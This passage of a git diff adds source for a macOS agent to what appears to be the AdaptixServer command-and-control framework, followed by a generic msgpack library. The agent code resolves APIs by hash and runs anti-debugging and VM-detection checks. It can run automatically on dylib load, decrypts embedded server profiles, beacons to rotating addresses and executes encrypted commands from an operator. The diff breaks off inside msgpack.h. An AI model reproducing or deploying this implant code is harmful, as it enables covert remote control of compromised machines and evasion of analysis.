dbg(ptbuf); + } +#endif + + // Parse msgpack Profile struct + dbg(" [D4] mp_reader_init"); + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + dbg(" [!] mp_read_map failed"); + ax_free(plaintext, pt_len); + return -1; + } + dbg(" [D5] parsing fields"); + + // Initialize defaults + prof->type = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else { + mp_skip(&r); + } + } + dbg(" [D6] fields parsed, freeing plaintext"); + +#ifdef DEBUG_TRACE + // Debug: check the alloc header before freeing + { + typedef struct { size_t total_size; } _ahdr_t; + #define _HSIZE ((sizeof(_ahdr_t) + 15) & ~15) + _ahdr_t* _hdr = (_ahdr_t*)((uint8_t*)plaintext - _HSIZE); + char fbuf[80]; + int fi = 0; + const char* fp = " [D6a] free: total_size="; + while (*fp) fbuf[fi++] = *fp++; + size_t fv = _hdr->total_size; + char nb[20]; int ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + const char* ep = " expected="; + while (*ep) fbuf[fi++] = *ep++; + fv = _HSIZE + pt_len; + ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + fbuf[fi] = '\0'; + dbg(fbuf); + #undef _HSIZE + } +#endif + + ax_free(plaintext, pt_len); + dbg(" [D7] decode_profile done"); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) { + ax_free(prof->addresses[i], ax_strlen(prof->addresses[i]) + 1); + } + } + ax_free(prof->addresses, prof->addr_count * sizeof(char*)); + } +} + +/// Build the init message: msgpack(StartMsg{type:1, data:msgpack(InitPack{id, type, data:sessionInfo})}) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + *out_msg = encrypted; + *out_len = enc_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Main entry point ---- + +static int agent_main(void); + +#ifdef BUILD_DYLIB +// Dylib/shellcode mode: constructor runs when dylib is loaded via dlopen() +// Equivalent to DllMain(DLL_PROCESS_ATTACH) on Windows beacon +__attribute__((constructor)) +static void dylib_entry(void) { + agent_main(); +} +#else +// Standard executable mode +int main(void) { + return agent_main(); +} +#endif + +static int agent_main(void) { + dbg("[1] dyld_resolver_init"); + // OPSEC: initialize dyld hash-based API resolver (MUST be first — opsec uses R_* macros) + if (dyld_resolver_init() != 0) { dbg("[!] dyld_resolver_init FAILED"); return 0; } + dbg("[2] dyld_resolver_init OK"); + + // OPSEC: anti-debug, VM detection + dbg("[3] opsec_check"); + if (opsec_check() != 0) { dbg("[!] opsec_check FAILED"); return 0; } + dbg("[4] opsec_check OK"); + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + + // Debug: print PROFILE_COUNT to verify correct config.h was used +#ifdef DEBUG_TRACE + { + char pcbuf[64]; + int pci = 0; + const char* pcp = "[5a] PROFILE_COUNT="; + while (*pcp) pcbuf[pci++] = *pcp++; + int pc = PROFILE_COUNT; + if (pc == 0) { pcbuf[pci++] = '0'; } + else { + char nb[8]; int ni = 0; + while (pc > 0) { nb[ni++] = '0' + (pc % 10); pc /= 10; } + while (ni > 0) pcbuf[pci++] = nb[--ni]; + } + pcbuf[pci] = '\0'; + dbg(pcbuf); + } +#endif + dbg("[5b] before loop"); +#if PROFILE_COUNT > 0 + dbg("[5c] entering loop"); + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { +#ifdef DEBUG_TRACE + { + char ibuf[64]; + int ii = 0; + const char* ip = "[5d] profile i="; + while (*ip) ibuf[ii++] = *ip++; + ibuf[ii++] = '0' + i; + const char* sp = " size="; + while (*sp) ibuf[ii++] = *sp++; + uint32_t sz = enc_profile_sizes[i]; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (sz % 10); sz /= 10; } while (sz > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + dbg(ibuf); + } +#endif + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + dbg("[5e] profile decoded OK"); + profile_count++; + } else { + dbg("[5e] profile decode FAILED"); + } + } +#endif + + if (profile_count == 0) { dbg("[!] profile_count == 0"); return 1; } + dbg("[6] profiles decoded OK"); + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + dbg("[7] create_session_info"); + if (create_session_info(&si_writer, session_key) != 0) { dbg("[!] session_info FAILED"); return 1; } + dbg("[8] session_info OK"); + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations (Go agent does the same) + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + dbg("[9] build_init_msg"); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { dbg("[!] init_msg NULL"); ax_free(session_info_data, session_info_len); return 1; } + dbg("[10] init_msg OK, entering connect loop"); + + // Main reconnect loop + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + R_sleep((unsigned int)prof->conn_timeout); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + // Rotate to next profile (same sessionInfo, different enc key) + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg, init_msg_len); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + dbg("[11] conn_open"); + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) { dbg("[!] conn_open FAILED"); continue; } + dbg("[12] connected OK"); + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + dbg("[13] discard banner"); + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + dbg("[!] banner discard FAILED"); + conn_close(&conn); + continue; + } + } + + // Send init + dbg("[14] send init"); + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + dbg("[!] send init FAILED"); + conn_close(&conn); + continue; + } + dbg("[15] init sent OK, entering command loop"); + + // Command loop + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + if (conn_recv_msg(&conn, &recv_data, &recv_len) != 0) break; + + // Decrypt with session key + size_t plain_len; + uint8_t* plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data, recv_len); + if (!plaintext) break; + + // Parse Message + int8_t msg_type; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext, plain_len); + break; + } + + // Build response Message — declaration order: type, object + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (msg_type == 1 && obj_count > 0) { + // "type" first (declaration order) + mp_write_kv_int(&msg_writer, "type", 1); + + // "object" array + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, obj_count); + + for (uint32_t i = 0; i < obj_count; i++) { + uint32_t code, cmd_id; + const uint8_t* cmd_data; + uint32_t cmd_data_len; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} — server expects this format + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&msg_writer, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + } + } else { + // Empty response + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + // Encrypt and send + { + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + mp_writer_free(&msg_writer); + + if (encrypted) { + conn_send_msg(&conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + } + } + + // Cleanup + if (objects) ax_free((void*)objects, obj_count * sizeof(uint8_t*)); + if (obj_sizes) ax_free(obj_sizes, obj_count * sizeof(uint32_t)); + ax_free(plaintext, plain_len); + } + + conn_close(&conn); + } + + // Cleanup + ax_free(init_msg, init_msg_len); + ax_free(session_info_data, session_info_len); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c new file mode 100644 index 00000000..7698c98d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c @@ -0,0 +1,535 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + return buf_init(&w->buf, cap); +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + return buf_append(&w->buf, &b, 1); +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + return buf_append(&w->buf, data, len); +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); // fixmap + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; // map16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; // map32 + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); // fixarray + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; // array16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; // array32 + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); // positive fixint + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; // uint8 + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; // uint16 + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; // uint32 + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; // uint64 + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); // negative fixint + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; // int8 + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; // int16 + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; // int32 + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; // int64 + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; // fixstr + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; // str8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; // str16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; // str32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; // bin8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; // bin16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; // bin32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +// Convenience: key + string value +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; // fixmap + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; // fixarray + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b <= 0x7F) { + *val = b; // positive fixint + return 0; + } + + const uint8_t* p; + switch (b) { + case 0xCC: // uint8 + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: // uint16 + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: // uint32 + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: // uint64 + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + + // positive fixint or uint types + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + + // negative fixint + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: // int8 + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: // int16 + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: // int32 + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: // int64 + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; // fixstr + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +// Skip one msgpack element (recursively for maps/arrays) +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + // positive fixint + if (b <= 0x7F) return 0; + // negative fixint + if ((b & 0xE0) == 0xE0) return 0; + + // fixmap + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixarray + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixstr + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; // nil, false, true + case 0xCC: r->pos += 1; break; // uint8 + case 0xCD: r->pos += 2; break; // uint16 + case 0xCE: r->pos += 4; break; // uint32 + case 0xCF: r->pos += 8; break; // uint64 + case 0xD0: r->pos += 1; break; // int8 + case 0xD1: r->pos += 2; break; // int16 + case 0xD2: r->pos += 4; break; // int32 + case 0xD3: r->pos += 8; break; // int64 + case 0xCA: r->pos += 4; break; // float32 + case 0xCB: r->pos += 8; break; // float64 + case 0xC4: // bin8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: // bin16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: // bin32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: // str8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: // str16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: // str32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { // array16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { // array32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { // map16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { // map32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +// Find a key in a map. r must be positioned after mp_read_map(). +// Returns 0 if found (r positioned at the value), -1 if not found. +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; // found — reader is at the value + } + // skip value + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h new file mode 100644 index 00000000..d8a68fb4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h @@ -0,0 +1,64 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t* w, size_t cap); +void mp_writer_free(mp_writer_t* w); + +// Map & array +int mp_write_map(mp_writer_t* w, uint32_t count); +int mp_write_array(mp_writer_t* w, uint32_t count); + +// Primitives +int mp_write_nil(mp_writer_t* w); +int 